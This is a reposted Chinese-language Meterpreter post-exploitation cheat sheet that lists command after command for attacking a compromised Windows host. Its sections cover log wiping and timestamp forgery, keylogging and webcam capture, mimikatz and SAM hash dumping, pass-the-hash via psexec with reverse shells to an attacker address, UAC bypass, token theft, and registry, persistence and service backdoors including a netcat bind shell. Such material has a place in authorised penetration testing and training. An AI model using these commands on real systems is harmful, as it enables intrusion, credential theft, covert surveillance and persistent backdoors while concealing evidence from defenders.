后滲透之meterpreter使用攻略


meterpreter 簡述

  • meterpreter是是Metasploit框架中的一個擴展模塊。
  • Metasploit中的Meterpreter模塊在后滲透階段具有強大的攻擊力,本文主要整理了meterpreter的常用命令、腳本及使用方式。包含信息收集、提權、注冊表操作、令牌操縱、哈希利用、后門植入等。

0x01.系統命令

1)基本系統命令

sessions #sessions –h 查看幫助
sessions -i <ID值> #進入會話 -k 殺死會話
background #將當前會話放置后台
run #執行已有的模塊,輸入run后按兩下tab,列出已有的腳本
info #查看已有模塊信息
getuid # 查看權限
getpid # 獲取當前進程的pid
sysinfo # 查看目標機系統信息
ps # 查看當前活躍進程 kill <PID值> 殺死進程
idletime #查看目標機閑置時間
reboot / shutdown #重啟/關機
shell #進入目標機cmd shell

2)uictl開關鍵盤/鼠標

uictl [enable/disable] [keyboard/mouse/all] #開啟或禁止鍵盤/鼠標
uictl disable mouse #禁用鼠標
uictl disable keyboard #禁用鍵盤

3)webcam攝像頭命令

webcam_list #查看攝像頭
webcam_snap #通過攝像頭拍照
webcam_stream #通過攝像頭開啟視頻

4)execute執行文件

execute #在目標機中執行文件
execute -H -i -f cmd.exe # 創建新進程cmd.exe,-H不可見,-i交互

5)migrate進程遷移

getpid # 獲取當前進程的pid
ps # 查看當前活躍進程
migrate <pid值> #將Meterpreter會話移植到指定pid值進程中
kill <pid值> #殺死進程

6)clearav清除日志

clearav #清除windows中的應用程序日志、系統日志、安全日志

0x02.文件系統命令

1)基本文件系統命令

getwd 或者pwd # 查看當前工作目錄
ls
cd
search -f *pass* # 搜索文件 -h查看幫助
cat c:\\lltest\\lltestpasswd.txt # 查看文件內容
upload /tmp/hack.txt C:\\lltest # 上傳文件到目標機上
download c:\\lltest\\lltestpasswd.txt /tmp/ # 下載文件到本機上
edit c:\\1.txt #編輯或創建文件 沒有的話,會新建文件
rm C:\\lltest\\hack.txt
mkdir lltest2 #只能在當前目錄下創建文件夾
rmdir lltest2 #只能刪除當前目錄下文件夾
getlwd 或者 lpwd #操作攻擊者主機 查看當前目錄
lcd /tmp #操作攻擊者主機 切換目錄

2)timestomp偽造時間戳

timestomp C:// -h #查看幫助
timestomp -v C://2.txt #查看時間戳
timestomp C://2.txt -f C://1.txt #將1.txt的時間戳復制給2.txt

0x03.網絡命令

1)基本網絡命令

ipconfig/ifconfig
netstat –ano
arp
getproxy #查看代理信息
route #查看路由

2)portfwd端口轉發

portfwd add -l 6666 -p 3389 -r 127.0.0.1 #將目標機的3389端口轉發到本地6666端口

3)autoroute添加路由

run autoroute –h #查看幫助
run autoroute -s 192.168.159.0/24 #添加到目標環境網絡
run autoroute –p #查看添加的路由

然后可以利用arp_scanner、portscan等進行掃描

run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389

4)Socks4a代理

autoroute添加完路由后,還可以利用msf自帶的sock4a模塊進行Socks4a代理

msf> use auxiliary/server/socks4a
msf > set srvhost 127.0.0.1
msf > set srvport 1080
msf > run

然后vi /etc/proxychains.conf #添加 socks4 127.0.0.1 1080
最后proxychains 使用Socks4a代理訪問

0x04.信息收集

信息收集的腳本位於:

/usr/share/metasploit-framework/modules/post/windows/gather
/usr/share/metasploit-framework/modules/post/linux/gather

信息收集的腳本較多,僅列幾個常用的:

run post/windows/gather/checkvm #是否虛擬機
run post/linux/gather/checkvm #是否虛擬機
run post/windows/gather/forensics/enum_drives #查看分區
run post/windows/gather/enum_applications #獲取安裝軟件信息
run post/windows/gather/dumplinks #獲取最近的文件操作
run post/windows/gather/enum_ie #獲取IE緩存
run post/windows/gather/enum_chrome #獲取Chrome緩存
run post/windows/gather/enum_patches #補丁信息
run post/windows/gather/enum_domain #查找域控

0x05.提權

1)getsystem提權

getsystem

getsystem工作原理:
①getsystem創建一個新的Windows服務,設置為SYSTEM運行,當它啟動時連接到一個命名管道。
②getsystem產生一個進程,它創建一個命名管道並等待來自該服務的連接。
③Windows服務已啟動,導致與命名管道建立連接。
④該進程接收連接並調用ImpersonateNamedPipeClient,從而為SYSTEM用戶創建模擬令牌。
然后用新收集的SYSTEM模擬令牌產生cmd.exe,並且我們有一個SYSTEM特權進程。

2)bypassuac

內置多個pypassuac腳本,原理有所不同,使用方法類似,運行后返回一個新的會話,需要再次執行getsystem獲取系統權限,如:

use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask

如使用bypassuac.rb腳本:

msf > use exploit/windows/local/bypassuac
msf > set SESSION 2
msf > run

3)內核漏洞提權

可先利用enum_patches模塊 收集補丁信息,然后查找可用的exploits進行提權

meterpreter > run post/windows/gather/enum_patches #查看補丁信息
msf > use exploit/windows/local/ms13_053_schlamperei
msf > set SESSION 2
msf > exploit

0x06.mimikatz抓取密碼

load mimikatz #help mimikatz 查看幫助
wdigest #獲取Wdigest密碼
mimikatz_command -f samdump::hashes #執行mimikatz原始命令
mimikatz_command -f sekurlsa::searchPasswords

0x07.遠程桌面&截屏

enumdesktops #查看可用的桌面
getdesktop #獲取當前meterpreter 關聯的桌面
set_desktop #設置meterpreter關聯的桌面 -h查看幫助
screenshot #截屏
use espia #或者使用espia模塊截屏 然后輸入screengrab
run vnc #使用vnc遠程桌面連接

0x08.開啟rdp&添加用戶

1)getgui命令

run getgui –h #查看幫助
run getgui -e #開啟遠程桌面
run getgui -u lltest2 -p 123456 #添加用戶
run getgui -f 6661 –e #3389端口轉發到6661

getgui 系統不推薦,推薦使用run post/windows/manage/enable_rdp
getgui添加用戶時,有時雖然可以成功添加用戶,但是沒有權限通過遠程桌面登陸

2)enable_rdp腳本

run post/windows/manage/enable_rdp #開啟遠程桌面
run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用戶
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #將3389端口轉發到6662

腳本位於/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb
通過enable_rdp.rb腳本可知:開啟rdp是通過reg修改注冊表;添加用戶是調用cmd.exe 通過net user添加;端口轉發是利用的portfwd命令

0x09.鍵盤記錄

keyscan_start #開始鍵盤記錄
keyscan_dump #導出記錄數據
keyscan_stop #結束鍵盤記錄

0x10.sniffer抓包

use sniffer
sniffer_interfaces #查看網卡
sniffer_start 2 #選擇網卡 開始抓包
sniffer_stats 2 #查看狀態
sniffer_dump 2 /tmp/lltest.pcap #導出pcap數據包
sniffer_stop 2 #停止抓包

0x11.注冊表操作

1)注冊表基本命令

reg –h
-d 注冊表中值的數據. -k 注冊表鍵路徑 -v 注冊表鍵名稱
enumkey 枚舉可獲得的鍵 setval 設置鍵值 queryval 查詢鍵值數據

2)注冊表設置nc后門

upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 #上傳nc
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run #枚舉run下的key
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' #設置鍵值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc #查看鍵值

nc -v 192.168.159.144 443 #攻擊者連接nc后門

0x12.令牌操縱

1)incognito假冒令牌

use incognito #help incognito 查看幫助
list_tokens -u #查看可用的token
impersonate_token 'NT AUTHORITY\SYSTEM' #假冒SYSTEM token
或者impersonate_token NT\ AUTHORITY\\SYSTEM #不加單引號 需使用\\
execute -f cmd.exe -i –t # -t 使用假冒的token 執行
或者直接shell
rev2self #返回原始token

2)steal_token竊取令牌

steal_token <pid值> #從指定進程中竊取token 先ps
drop_token #刪除竊取的token

0x13.哈希利用

1)獲取哈希

run post/windows/gather/smart_hashdump #從SAM導出密碼哈希
#需要SYSTEM權限

2)PSExec哈希傳遞

通過smart_hashdump獲取用戶哈希后,可以利用psexec模塊進行哈希傳遞攻擊
前提條件:①開啟445端口 smb服務;②開啟admin$共享

msf > use exploit/windows/smb/psexec
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.159.134
msf > set LPORT 443
msf > set RHOST 192.168.159.144
msf >set SMBUser Administrator
msf >set SMBPass aad3b4*****04ee:5b5f00*****c424c
msf >set SMBDomain WORKGROUP #域用戶需要設置SMBDomain
msf >exploit

0x14.后門植入

metasploit自帶的后門有兩種方式啟動的,一種是通過啟動項啟動(persistence),一種是通過服務啟動(metsvc),另外還可以通過persistence_exe自定義后門文件。

1)persistence啟動項后門

在C:\Users***\AppData\Local\Temp\目錄下,上傳一個vbs腳本
在注冊表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入開機啟動項

run persistence –h #查看幫助
run persistence -X -i 5 -p 6661 -r 192.168.159.134
#-X指定啟動的方式為開機自啟動,-i反向連接的時間間隔(5s) –r 指定攻擊者的ip

連接后門

msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.159.134
msf > set LPORT 6661
msf > exploit

2)metsvc服務后門

在C:\Users***\AppData\Local\Temp\上傳了三個文件(metsrv.x86.dll、metsvc-server.exe、metsvc.exe),通過服務啟動,服務名為meterpreter

run metsvc –h # 查看幫助
run metsvc –A #自動安裝后門

連接后門

msf > use exploit/multi/handler
msf > set payload windows/metsvc_bind_tcp
msf > set RHOST 192.168.159.144
msf > set LPORT 31337
msf > exploit

0x15.掃描腳本

掃描的腳本位於:
/usr/share/metasploit-framework/modules/auxiliary/scanner/
掃描的腳本較多,僅列幾個代表:

use auxiliary/scanner/http/dir_scanner
use auxiliary/scanner/http/jboss_vulnscan
use auxiliary/scanner/mssql/mssql_login
use auxiliary/scanner/mysql/mysql_version
use auxiliary/scanner/oracle/oracle_login

本文轉載皮皮魯師傅

思維導圖:
image


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM